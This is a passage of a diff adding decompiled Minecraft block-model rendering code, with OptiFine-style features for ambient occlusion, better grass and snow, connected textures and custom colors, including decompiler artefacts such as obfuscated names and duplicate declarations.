+        {
+          if (renderEnv == null)
+          {
+            renderEnv = RenderEnv.getInstance(blockAccessIn, blockStateIn, blockPosIn);
+          }
+          
+          if ((!renderEnv.isBreakingAnimation(stateSnow)) && (Config.isBetterGrass()))
+          {
+            stateSnow = BetterGrass.getFaceQuads(blockAccessIn, blockIn, blockPosIn, modelSnow, stateSnow);
+          }
+          
+          renderModelAmbientOcclusionQuads(blockAccessIn, blockIn, blockPosIn, worldRendererIn, stateSnow, renderEnv);
+          var7 = true;
+        }
+      }
+    }
+    
+    List var161 = modelIn.func_177550_a();
+    
+    if (var161.size() > 0)
+    {
+      if (renderEnv == null)
+      {
+        renderEnv = RenderEnv.getInstance(blockAccessIn, blockStateIn, blockPosIn);
+      }
+      
+      renderModelAmbientOcclusionQuads(blockAccessIn, blockIn, blockPosIn, worldRendererIn, var161, renderEnv);
+      var7 = true;
+    }
+    
+    if ((renderEnv != null) && (Config.isBetterSnow()) && (!renderEnv.isBreakingAnimation()) && (BetterSnow.shouldRender(blockAccessIn, blockIn, blockStateIn, blockPosIn)))
+    {
+      IBakedModel var171 = BetterSnow.getModelSnowLayer();
+      IBlockState var18 = BetterSnow.getStateSnowLayer();
+      renderModelAmbientOcclusion(blockAccessIn, var171, var18.getBlock(), var18, blockPosIn, worldRendererIn, true);
+    }
+    
+    return var7;
+  }
+  
+  public boolean func_178258_b(IBlockAccess blockAccessIn, IBakedModel modelIn, Block blockIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, boolean checkSides)
+  {
+    return renderModelStandard(blockAccessIn, modelIn, blockIn, blockAccessIn.getBlockState(blockPosIn), blockPosIn, worldRendererIn, checkSides);
+  }
+  
+  public boolean renderModelStandard(IBlockAccess blockAccessIn, IBakedModel modelIn, Block blockIn, IBlockState blockStateIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, boolean checkSides)
+  {
+    boolean var7 = false;
+    RenderEnv renderEnv = null;
+    EnumFacing[] var9 = EnumFacing.VALUES;
+    int var10 = var9.length;
+    
+    for (int var16 = 0; var16 < var10; var16++)
+    {
+      EnumFacing modelSnow = var9[var16];
+      List stateSnow = modelIn.func_177551_a(modelSnow);
+      
+      if (!stateSnow.isEmpty())
+      {
+        BlockPos var14 = blockPosIn.offset(modelSnow);
+        
+        if ((!checkSides) || (blockIn.shouldSideBeRendered(blockAccessIn, var14, modelSnow)))
+        {
+          if (renderEnv == null)
+          {
+            renderEnv = RenderEnv.getInstance(blockAccessIn, blockStateIn, blockPosIn);
+          }
+          
+          if ((!renderEnv.isBreakingAnimation(stateSnow)) && (Config.isBetterGrass()))
+          {
+            stateSnow = BetterGrass.getFaceQuads(blockAccessIn, blockIn, blockPosIn, modelSnow, stateSnow);
+          }
+          
+          int var15 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var14);
+          renderModelStandardQuads(blockAccessIn, blockIn, blockPosIn, modelSnow, var15, false, worldRendererIn, stateSnow, renderEnv);
+          var7 = true;
+        }
+      }
+    }
+    
+    List var17 = modelIn.func_177550_a();
+    
+    if (var17.size() > 0)
+    {
+      if (renderEnv == null)
+      {
+        renderEnv = RenderEnv.getInstance(blockAccessIn, blockStateIn, blockPosIn);
+      }
+      
+      renderModelStandardQuads(blockAccessIn, blockIn, blockPosIn, null, -1, true, worldRendererIn, var17, renderEnv);
+      var7 = true;
+    }
+    
+    if ((renderEnv != null) && (Config.isBetterSnow()) && (!renderEnv.isBreakingAnimation()) && (BetterSnow.shouldRender(blockAccessIn, blockIn, blockStateIn, blockPosIn)) && (BetterSnow.shouldRender(blockAccessIn, blockIn, blockStateIn, blockPosIn)))
+    {
+      IBakedModel var18 = BetterSnow.getModelSnowLayer();
+      IBlockState var19 = BetterSnow.getStateSnowLayer();
+      renderModelStandard(blockAccessIn, var18, var19.getBlock(), var19, blockPosIn, worldRendererIn, true);
+    }
+    
+    return var7;
+  }
+  
+  private void renderModelAmbientOcclusionQuads(IBlockAccess blockAccessIn, Block blockIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, List listQuadsIn, RenderEnv renderEnv)
+  {
+    float[] quadBounds = renderEnv.getQuadBounds();
+    BitSet boundsFlags = renderEnv.getBoundsFlags();
+    AmbientOcclusionFace aoFaceIn = renderEnv.getAoFace();
+    IBlockState blockStateIn = renderEnv.getBlockState();
+    double var9 = blockPosIn.getX();
+    double var11 = blockPosIn.getY();
+    double var13 = blockPosIn.getZ();
+    Block.EnumOffsetType var15 = blockIn.getOffsetType();
+    
+    if (var15 != Block.EnumOffsetType.NONE)
+    {
+      long var22 = MathHelper.func_180186_a(blockPosIn);
+      var9 += ((float)(var22 >> 16 & 0xF) / 15.0F - 0.5D) * 0.5D;
+      var13 += ((float)(var22 >> 24 & 0xF) / 15.0F - 0.5D) * 0.5D;
+      
+      if (var15 == Block.EnumOffsetType.XYZ)
+      {
+        var11 += ((float)(var22 >> 20 & 0xF) / 15.0F - 1.0D) * 0.2D;
+      }
+    }
+    
+    for (Iterator var221 = listQuadsIn.iterator(); var221.hasNext(); worldRendererIn.func_178987_a(var9, var11, var13))
+    {
+      BakedQuad var17 = (BakedQuad)var221.next();
+      
+      if (!renderEnv.isBreakingAnimation(var17))
+      {
+        BakedQuad colorMultiplier = var17;
+        
+        if (Config.isConnectedTextures())
+        {
+          var17 = ConnectedTextures.getConnectedTexture(blockAccessIn, blockStateIn, blockPosIn, var17, renderEnv);
+        }
+        
+        if ((var17 == colorMultiplier) && (Config.isNaturalTextures()))
+        {
+          var17 = NaturalTextures.getNaturalTexture(blockPosIn, var17);
+        }
+      }
+      
+      func_178261_a(blockIn, var17.func_178209_a(), var17.getFace(), quadBounds, boundsFlags);
+      aoFaceIn.func_178204_a(blockAccessIn, blockIn, blockPosIn, var17.getFace(), quadBounds, boundsFlags);
+      
+      if (worldRendererIn.isMultiTexture())
+      {
+        worldRendererIn.func_178981_a(var17.getVertexDataSingle());
+        worldRendererIn.putSprite(var17.getSprite());
+      }
+      else
+      {
+        worldRendererIn.func_178981_a(var17.func_178209_a());
+      }
+      
+      worldRendererIn.func_178962_a(field_178207_c[0], field_178207_c[1], field_178207_c[2], field_178207_c[3]);
+      int colorMultiplier1 = CustomColors.getColorMultiplier(var17, blockIn, blockAccessIn, blockPosIn, renderEnv);
+      
+      if ((!var17.func_178212_b()) && (colorMultiplier1 == -1))
+      {
+        worldRendererIn.func_178978_a(field_178206_b[0], field_178206_b[0], field_178206_b[0], 4);
+        worldRendererIn.func_178978_a(field_178206_b[1], field_178206_b[1], field_178206_b[1], 3);
+        worldRendererIn.func_178978_a(field_178206_b[2], field_178206_b[2], field_178206_b[2], 2);
+        worldRendererIn.func_178978_a(field_178206_b[3], field_178206_b[3], field_178206_b[3], 1);
+      }
+      else
+      {
+        int var18;
+        int var18;
+        if (colorMultiplier1 != -1)
+        {
+          var18 = colorMultiplier1;
+        }
+        else
+        {
+          var18 = blockIn.colorMultiplier(blockAccessIn, blockPosIn, var17.func_178211_c());
+        }
+        
+        if (EntityRenderer.anaglyphEnable)
+        {
+          var18 = TextureUtil.func_177054_c(var18);
+        }
+        
+        float var19 = (var18 >> 16 & 0xFF) / 255.0F;
+        float var20 = (var18 >> 8 & 0xFF) / 255.0F;
+        float var21 = (var18 & 0xFF) / 255.0F;
+        worldRendererIn.func_178978_a(field_178206_b[0] * var19, field_178206_b[0] * var20, field_178206_b[0] * var21, 4);
+        worldRendererIn.func_178978_a(field_178206_b[1] * var19, field_178206_b[1] * var20, field_178206_b[1] * var21, 3);
+        worldRendererIn.func_178978_a(field_178206_b[2] * var19, field_178206_b[2] * var20, field_178206_b[2] * var21, 2);
+        worldRendererIn.func_178978_a(field_178206_b[3] * var19, field_178206_b[3] * var20, field_178206_b[3] * var21, 1);
+      }
+    }
+  }
+  
+  private void func_178261_a(Block blockIn, int[] vertexData, EnumFacing facingIn, float[] quadBounds, BitSet boundsFlags)
+  {
+    float var6 = 32.0F;
+    float var7 = 32.0F;
+    float var8 = 32.0F;
+    float var9 = -32.0F;
+    float var10 = -32.0F;
+    float var11 = -32.0F;
+    int step = vertexData.length / 4;
+    
+
+    for (int var16 = 0; var16 < 4; var16++)
+    {
+      float var13 = Float.intBitsToFloat(vertexData[(var16 * step)]);
+      float var14 = Float.intBitsToFloat(vertexData[(var16 * step + 1)]);
+      float var15 = Float.intBitsToFloat(vertexData[(var16 * step + 2)]);
+      var6 = Math.min(var6, var13);
+      var7 = Math.min(var7, var14);
+      var8 = Math.min(var8, var15);
+      var9 = Math.max(var9, var13);
+      var10 = Math.max(var10, var14);
+      var11 = Math.max(var11, var15);
+    }
+    
+    if (quadBounds != null)
+    {
+      quadBounds[EnumFacing.WEST.getIndex()] = var6;
+      quadBounds[EnumFacing.EAST.getIndex()] = var9;
+      quadBounds[EnumFacing.DOWN.getIndex()] = var7;
+      quadBounds[EnumFacing.UP.getIndex()] = var10;
+      quadBounds[EnumFacing.NORTH.getIndex()] = var8;
+      quadBounds[EnumFacing.SOUTH.getIndex()] = var11;
+      quadBounds[(EnumFacing.WEST.getIndex() + EnumFacing.VALUES.length)] = (1.0F - var6);
+      quadBounds[(EnumFacing.EAST.getIndex() + EnumFacing.VALUES.length)] = (1.0F - var9);
+      quadBounds[(EnumFacing.DOWN.getIndex() + EnumFacing.VALUES.length)] = (1.0F - var7);
+      quadBounds[(EnumFacing.UP.getIndex() + EnumFacing.VALUES.length)] = (1.0F - var10);
+      quadBounds[(EnumFacing.NORTH.getIndex() + EnumFacing.VALUES.length)] = (1.0F - var8);
+      quadBounds[(EnumFacing.SOUTH.getIndex() + EnumFacing.VALUES.length)] = (1.0F - var11);
+    }
+    
+    float var17 = 1.0E-4F;
+    float var13 = 0.9999F;
+    
+    switch (SwitchEnumFacing.field_178290_a[facingIn.ordinal()])
+    {
+    case 1: 
+      boundsFlags.set(1, (var6 >= 1.0E-4F) || (var8 >= 1.0E-4F) || (var9 <= 0.9999F) || (var11 <= 0.9999F));
+      boundsFlags.set(0, ((var7 < 1.0E-4F) || (blockIn.isFullCube())) && (var7 == var10));
+      break;
+    
+    case 2: 
+      boundsFlags.set(1, (var6 >= 1.0E-4F) || (var8 >= 1.0E-4F) || (var9 <= 0.9999F) || (var11 <= 0.9999F));
+      boundsFlags.set(0, ((var10 > 0.9999F) || (blockIn.isFullCube())) && (var7 == var10));
+      break;
+    
+    case 3: 
+      boundsFlags.set(1, (var6 >= 1.0E-4F) || (var7 >= 1.0E-4F) || (var9 <= 0.9999F) || (var10 <= 0.9999F));
+      boundsFlags.set(0, ((var8 < 1.0E-4F) || (blockIn.isFullCube())) && (var8 == var11));
+      break;
+    
+    case 4: 
+      boundsFlags.set(1, (var6 >= 1.0E-4F) || (var7 >= 1.0E-4F) || (var9 <= 0.9999F) || (var10 <= 0.9999F));
+      boundsFlags.set(0, ((var11 > 0.9999F) || (blockIn.isFullCube())) && (var8 == var11));
+      break;
+    
+    case 5: 
+      boundsFlags.set(1, (var7 >= 1.0E-4F) || (var8 >= 1.0E-4F) || (var10 <= 0.9999F) || (var11 <= 0.9999F));
+      boundsFlags.set(0, ((var6 < 1.0E-4F) || (blockIn.isFullCube())) && (var6 == var9));
+      break;
+    
+    case 6: 
+      boundsFlags.set(1, (var7 >= 1.0E-4F) || (var8 >= 1.0E-4F) || (var10 <= 0.9999F) || (var11 <= 0.9999F));
+      boundsFlags.set(0, ((var9 > 0.9999F) || (blockIn.isFullCube())) && (var6 == var9));
+    }
+  }
+  
+  private void renderModelStandardQuads(IBlockAccess blockAccessIn, Block blockIn, BlockPos blockPosIn, EnumFacing faceIn, int brightnessIn, boolean ownBrightness, WorldRenderer worldRendererIn, List listQuadsIn, RenderEnv renderEnv)
+  {
+    BitSet boundsFlags = renderEnv.getBoundsFlags();
+    IBlockState blockStateIn = renderEnv.getBlockState();
+    double var10 = blockPosIn.getX();
+    double var12 = blockPosIn.getY();
+    double var14 = blockPosIn.getZ();
+    Block.EnumOffsetType var16 = blockIn.getOffsetType();
+    
+    if (var16 != Block.EnumOffsetType.NONE)
+    {
+      int var23 = blockPosIn.getX();
+      int var24 = blockPosIn.getZ();
+      long colorMultiplier = var23 * 3129871 ^ var24 * 116129781L;
+      colorMultiplier = colorMultiplier * colorMultiplier * 42317861L + colorMultiplier * 11L;
+      var10 += ((float)(colorMultiplier >> 16 & 0xF) / 15.0F - 0.5D) * 0.5D;
+      var14 += ((float)(colorMultiplier >> 24 & 0xF) / 15.0F - 0.5D) * 0.5D;
+      
+      if (var16 == Block.EnumOffsetType.XYZ)
+      {
+        var12 += ((float)(colorMultiplier >> 20 & 0xF) / 15.0F - 1.0D) * 0.2D;
+      }
+    }
+    
+    for (Iterator var231 = listQuadsIn.iterator(); var231.hasNext(); worldRendererIn.func_178987_a(var10, var12, var14))
+    {
+      BakedQuad var241 = (BakedQuad)var231.next();
+      
+      if (!renderEnv.isBreakingAnimation(var241))
+      {
+        BakedQuad colorMultiplier1 = var241;
+        
+        if (Config.isConnectedTextures())
+        {
+          var241 = ConnectedTextures.getConnectedTexture(blockAccessIn, blockStateIn, blockPosIn, var241, renderEnv);
+        }
+        
+        if ((var241 == colorMultiplier1) && (Config.isNaturalTextures()))
+        {
+          var241 = NaturalTextures.getNaturalTexture(blockPosIn, var241);
+        }
+      }
+      
+      if (ownBrightness)
+      {
+        func_178261_a(blockIn, var241.func_178209_a(), var241.getFace(), null, boundsFlags);
+        brightnessIn = boundsFlags.get(0) ? blockIn.getMixedBrightnessForBlock(blockAccessIn, blockPosIn.offset(var241.getFace())) : blockIn.getMixedBrightnessForBlock(blockAccessIn, blockPosIn);
+      }
+      
+      if (worldRendererIn.isMultiTexture())
+      {
+        worldRendererIn.func_178981_a(var241.getVertexDataSingle());
+        worldRendererIn.putSprite(var241.getSprite());
+      }
+      else
+      {
+        worldRendererIn.func_178981_a(var241.func_178209_a());
+      }
+      
+      worldRendererIn.func_178962_a(brightnessIn, brightnessIn, brightnessIn, brightnessIn);
+      int colorMultiplier2 = CustomColors.getColorMultiplier(var241, blockIn, blockAccessIn, blockPosIn, renderEnv);
+      
+      if ((var241.func_178212_b()) || (colorMultiplier2 != -1))
+      {
+        int var25;
+        int var25;
+        if (colorMultiplier2 != -1)
+        {
+          var25 = colorMultiplier2;
+        }
+        else
+        {
+          var25 = blockIn.colorMultiplier(blockAccessIn, blockPosIn, var241.func_178211_c());
+        }
+        
+        if (EntityRenderer.anaglyphEnable)
+        {
+          var25 = TextureUtil.func_177054_c(var25);
+        }
+        
+        float var20 = (var25 >> 16 & 0xFF) / 255.0F;
+        float var21 = (var25 >> 8 & 0xFF) / 255.0F;
+        float var22 = (var25 & 0xFF) / 255.0F;
+        worldRendererIn.func_178978_a(var20, var21, var22, 4);
+        worldRendererIn.func_178978_a(var20, var21, var22, 3);
+        worldRendererIn.func_178978_a(var20, var21, var22, 2);
+        worldRendererIn.func_178978_a(var20, var21, var22, 1);
+      }
+    }
+  }
+  
+  public void func_178262_a(IBakedModel p_178262_1_, float p_178262_2_, float p_178262_3_, float p_178262_4_, float p_178262_5_)
+  {
+    EnumFacing[] var6 = EnumFacing.VALUES;
+    int var7 = var6.length;
+    
+    for (int var8 = 0; var8 < var7; var8++)
+    {
+      EnumFacing var9 = var6[var8];
+      func_178264_a(p_178262_2_, p_178262_3_, p_178262_4_, p_178262_5_, p_178262_1_.func_177551_a(var9));
+    }
+    
+    func_178264_a(p_178262_2_, p_178262_3_, p_178262_4_, p_178262_5_, p_178262_1_.func_177550_a());
+  }
+  
+  public void func_178266_a(IBakedModel p_178266_1_, IBlockState p_178266_2_, float p_178266_3_, boolean p_178266_4_)
+  {
+    Block var5 = p_178266_2_.getBlock();
+    var5.setBlockBoundsForItemRender();
+    GlStateManager.rotate(90.0F, 0.0F, 1.0F, 0.0F);
+    int var6 = var5.getRenderColor(var5.getStateForEntityRender(p_178266_2_));
+    
+    if (EntityRenderer.anaglyphEnable)
+    {
+      var6 = TextureUtil.func_177054_c(var6);
+    }
+    
+    float var7 = (var6 >> 16 & 0xFF) / 255.0F;
+    float var8 = (var6 >> 8 & 0xFF) / 255.0F;
+    float var9 = (var6 & 0xFF) / 255.0F;
+    
+    if (!p_178266_4_)
+    {
+      GlStateManager.color(p_178266_3_, p_178266_3_, p_178266_3_, 1.0F);
+    }
+    
+    func_178262_a(p_178266_1_, p_178266_3_, var7, var8, var9);
+  }
+  
+  private void func_178264_a(float p_178264_1_, float p_178264_2_, float p_178264_3_, float p_178264_4_, List p_178264_5_)
+  {
+    Tessellator var6 = Tessellator.getInstance();
+    WorldRenderer var7 = var6.getWorldRenderer();
+    Iterator var8 = p_178264_5_.iterator();
+    
+    while (var8.hasNext())
+    {
+      BakedQuad var9 = (BakedQuad)var8.next();
+      var7.startDrawingQuads();
+      var7.setVertexFormat(DefaultVertexFormats.field_176599_b);
+      var7.func_178981_a(var9.func_178209_a());
+      
+      if (var9.func_178212_b())
+      {
+        var7.func_178990_f(p_178264_2_ * p_178264_1_, p_178264_3_ * p_178264_1_, p_178264_4_ * p_178264_1_);
+      }
+      else
+      {
+        var7.func_178990_f(p_178264_1_, p_178264_1_, p_178264_1_);
+      }
+      
+      Vec3i var10 = var9.getFace().getDirectionVec();
+      var7.func_178975_e(var10.getX(), var10.getY(), var10.getZ());
+      var6.draw();
+    }
+  }
+  
+  public static float fixAoLightValue(float val)
+  {
+    return val == 0.2F ? aoLightValueOpaque : val;
+  }
+  
+  public static class AmbientOcclusionFace
+  {
+    private final float[] field_178206_b = new float[4];
+    private final int[] field_178207_c = new int[4];
+    private static final String __OBFID = "CL_00002515";
+    
+    public AmbientOcclusionFace(BlockModelRenderer bmr) {}
+    
+    public AmbientOcclusionFace() {}
+    
+    public void func_178204_a(IBlockAccess blockAccessIn, Block blockIn, BlockPos blockPosIn, EnumFacing facingIn, float[] quadBounds, BitSet boundsFlags)
+    {
+      BlockPos var7 = boundsFlags.get(0) ? blockPosIn.offset(facingIn) : blockPosIn;
+      BlockModelRenderer.EnumNeighborInfo var8 = BlockModelRenderer.EnumNeighborInfo.func_178273_a(facingIn);
+      BlockPos var9 = var7.offset(field_178276_g[0]);
+      BlockPos var10 = var7.offset(field_178276_g[1]);
+      BlockPos var11 = var7.offset(field_178276_g[2]);
+      BlockPos var12 = var7.offset(field_178276_g[3]);
+      int var13 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var9);
+      int var14 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var10);
+      int var15 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var11);
+      int var16 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var12);
+      float var17 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var9).getBlock().getAmbientOcclusionLightValue());
+      float var18 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var10).getBlock().getAmbientOcclusionLightValue());
+      float var19 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var11).getBlock().getAmbientOcclusionLightValue());
+      float var20 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var12).getBlock().getAmbientOcclusionLightValue());
+      boolean var21 = blockAccessIn.getBlockState(var9.offset(facingIn)).getBlock().isTranslucent();
+      boolean var22 = blockAccessIn.getBlockState(var10.offset(facingIn)).getBlock().isTranslucent();
+      boolean var23 = blockAccessIn.getBlockState(var11.offset(facingIn)).getBlock().isTranslucent();
+      boolean var24 = blockAccessIn.getBlockState(var12.offset(facingIn)).getBlock().isTranslucent();
+      
+      int var29;
+      float var25;
+      int var29;
+      if ((!var23) && (!var21))
+      {
+        float var25 = var17;
+        var29 = var13;
+      }
+      else
+      {
+        BlockPos var33 = var9.offset(field_178276_g[2]);
+        var25 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var33).getBlock().getAmbientOcclusionLightValue());
+        var29 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var33);
+      }
+      
+      int var30;
+      float var26;
+      int var30;
+      if ((!var24) && (!var21))
+      {
+        float var26 = var17;
+        var30 = var13;
+      }
+      else
+      {
+        BlockPos var33 = var9.offset(field_178276_g[3]);
+        var26 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var33).getBlock().getAmbientOcclusionLightValue());
+        var30 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var33);
+      }
+      
+      int var31;
+      float var27;
+      int var31;
+      if ((!var23) && (!var22))
+      {
+        float var27 = var18;
+        var31 = var14;
+      }
+      else
+      {
+        BlockPos var33 = var10.offset(field_178276_g[2]);
+        var27 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var33).getBlock().getAmbientOcclusionLightValue());
+        var31 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var33);
+      }
+      
+      int var32;
+      float var28;
+      int var32;
+      if ((!var24) && (!var22))
+      {
+        float var28 = var18;
+        var32 = var14;
+      }
+      else
+      {
+        BlockPos var33 = var10.offset(field_178276_g[3]);
+        var28 = BlockModelRenderer.fixAoLightValue(blockAccessIn.getBlockState(var33).getBlock().getAmbientOcclusionLightValue());
+        var32 = blockIn.getMixedBrightnessForBlock(blockAccessIn, var33);
+      }
+      
+      int var60 = blockIn.getMixedBrightnessForBlock(blockAccessIn, blockPosIn);
+      
+      if ((boundsFlags.get(0)) || (!blockAccessIn.getBlockState(blockPosIn.offset(facingIn)).getBlock().isOpaqueCube()))
+      {
+        var60 = blockIn.getMixedBrightnessForBlock(blockAccessIn, blockPosIn.offset(facingIn));
+      }
+      
+      float var34 = boundsFlags.get(0) ? blockAccessIn.getBlockState(var7).getBlock().getAmbientOcclusionLightValue() : blockAccessIn.getBlockState(blockPosIn).getBlock().getAmbientOcclusionLightValue();
+      var34 = BlockModelRenderer.fixAoLightValue(var34);
+      BlockModelRenderer.VertexTranslations var35 = BlockModelRenderer.VertexTranslations.func_178184_a(facingIn);
+      
+
+
+
+
+      if ((boundsFlags.get(1)) && (field_178289_i))
+      {
+        float var36 = (var20 + var17 + var26 + var34) * 0.25F;
+        float var37 = (var19 + var17 + var25 + var34) * 0.25F;
+        float var38 = (var19 + var18 + var27 + var34) * 0.25F;
+        float var39 = (var20 + var18 + var28 + var34) * 0.25F;
+        float var40 = quadBounds[field_178286_j[0].field_178229_m] * quadBounds[field_178286_j[1].field_178229_m];
+        float var41 = quadBounds[field_178286_j[2].field_178229_m] * quadBounds[field_178286_j[3].field_178229_m];
+        float var42 = quadBounds[field_178286_j[4].field_178229_m] * quadBounds[field_178286_j[5].field_178229_m];
+        float var43 = quadBounds[field_178286_j[6].field_178229_m] * quadBounds[field_178286_j[7].field_178229_m];
+        float var44 = quadBounds[field_178287_k[0].field_178229_m] * quadBounds[field_178287_k[1].field_178229_m];
+        float var45 = quadBounds[field_178287_k[2].field_178229_m] * quadBounds[field_178287_k[3].field_178229_m];
+        float var46 = quadBounds[field_178287_k[4].field_178229_m] * quadBounds[field_178287_k[5].field_178229_m];
+        float var47 = quadBounds[field_178287_k[6].field_178229_m] * quadBounds[field_178287_k[7].field_178229_m];
+        float var48 = quadBounds[field_178284_l[0].field_178229_m] * quadBounds[field_178284_l[1].field_178229_m];
+        float var49 = quadBounds[field_178284_l[2].field_178229_m] * quadBounds[field_178284_l[3].field_178229_m];
+        float var50 = quadBounds[field_178284_l[4].field_178229_m] * quadBounds[field_178284_l[5].field_178229_m];
+        float var51 = quadBounds[field_178284_l[6].field_178229_m] * quadBounds[field_178284_l[7].field_178229_m];
+        float var52 = quadBounds[field_178285_m[0].field_178229_m] * quadBounds[field_178285_m[1].field_178229_m];
+        float var53 = quadBounds[field_178285_m[2].field_178229_m] * quadBounds[field_178285_m[3].field_178229_m];
+        float var54 = quadBounds[field_178285_m[4].field_178229_m] * quadBounds[field_178285_m[5].field_178229_m];
+        float var55 = quadBounds[field_178285_m[6].field_178229_m] * quadBounds[field_178285_m[7].field_178229_m];
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$2(var35)] = (var36 * var40 + var37 * var41 + var38 * var42 + var39 * var43);
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$3(var35)] = (var36 * var44 + var37 * var45 + var38 * var46 + var39 * var47);
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$4(var35)] = (var36 * var48 + var37 * var49 + var38 * var50 + var39 * var51);
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$5(var35)] = (var36 * var52 + var37 * var53 + var38 * var54 + var39 * var55);
+        int var56 = getAoBrightness(var16, var13, var30, var60);
+        int var57 = getAoBrightness(var15, var13, var29, var60);
+        int var58 = getAoBrightness(var15, var14, var31, var60);
+        int var59 = getAoBrightness(var16, var14, var32, var60);
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$2(var35)] = func_178203_a(var56, var57, var58, var59, var40, var41, var42, var43);
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$3(var35)] = func_178203_a(var56, var57, var58, var59, var44, var45, var46, var47);
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$4(var35)] = func_178203_a(var56, var57, var58, var59, var48, var49, var50, var51);
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$5(var35)] = func_178203_a(var56, var57, var58, var59, var52, var53, var54, var55);
+      }
+      else
+      {
+        float var36 = (var20 + var17 + var26 + var34) * 0.25F;
+        float var37 = (var19 + var17 + var25 + var34) * 0.25F;
+        float var38 = (var19 + var18 + var27 + var34) * 0.25F;
+        float var39 = (var20 + var18 + var28 + var34) * 0.25F;
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$2(var35)] = getAoBrightness(var16, var13, var30, var60);
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$3(var35)] = getAoBrightness(var15, var13, var29, var60);
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$4(var35)] = getAoBrightness(var15, var14, var31, var60);
+        field_178207_c[BlockModelRenderer.VertexTranslations.access$5(var35)] = getAoBrightness(var16, var14, var32, var60);
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$2(var35)] = var36;
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$3(var35)] = var37;
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$4(var35)] = var38;
+        field_178206_b[BlockModelRenderer.VertexTranslations.access$5(var35)] = var39;
+      }
+    }
+    
+    private int getAoBrightness(int p_147778_1_, int p_147778_2_, int p_147778_3_, int p_147778_4_)
+    {
+      if (p_147778_1_ == 0)
+      {
+        p_147778_1_ = p_147778_4_;
+      }
+      
+      if (p_147778_2_ == 0)
+      {
+        p_147778_2_ = p_147778_4_;
+      }
+      
+      if (p_147778_3_ == 0)
+      {
+        p_147778_3_ = p_147778_4_;
+      }
+      
+      return p_147778_1_ + p_147778_2_ + p_147778_3_ + p_147778_4_ >> 2 & 0xFF00FF;
+    }
+    
+    private int func_178203_a(int p_178203_1_, int p_178203_2_, int p_178203_3_, int p_178203_4_, float p_178203_5_, float p_178203_6_, float p_178203_7_, float p_178203_8_)
+    {
+      int var9 = (int)((p_178203_1_ >> 16 & 0xFF) * p_178203_5_ + (p_178203_2_ >> 16 & 0xFF) * p_178203_6_ + (p_178203_3_ >> 16 & 0xFF) * p_178203_7_ + (p_178203_4_ >> 16 & 0xFF) * p_178203_8_) & 0xFF;
+      int var10 = (int)((p_178203_1_ & 0xFF) * p_178203_5_ + (p_178203_2_ & 0xFF) * p_178203_6_ + (p_178203_3_ & 0xFF) * p_178203_7_ + (p_178203_4_ & 0xFF) * p_178203_8_) & 0xFF;
+      return var9 << 16 | var10;
+    }
+  }
+  
+  public static enum EnumNeighborInfo
+  {
+    DOWN("DOWN", 0, "DOWN", 0, new EnumFacing[] { EnumFacing.WEST, EnumFacing.EAST, EnumFacing.NORTH, EnumFacing.SOUTH }, 0.5F, true, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.SOUTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.SOUTH }), 
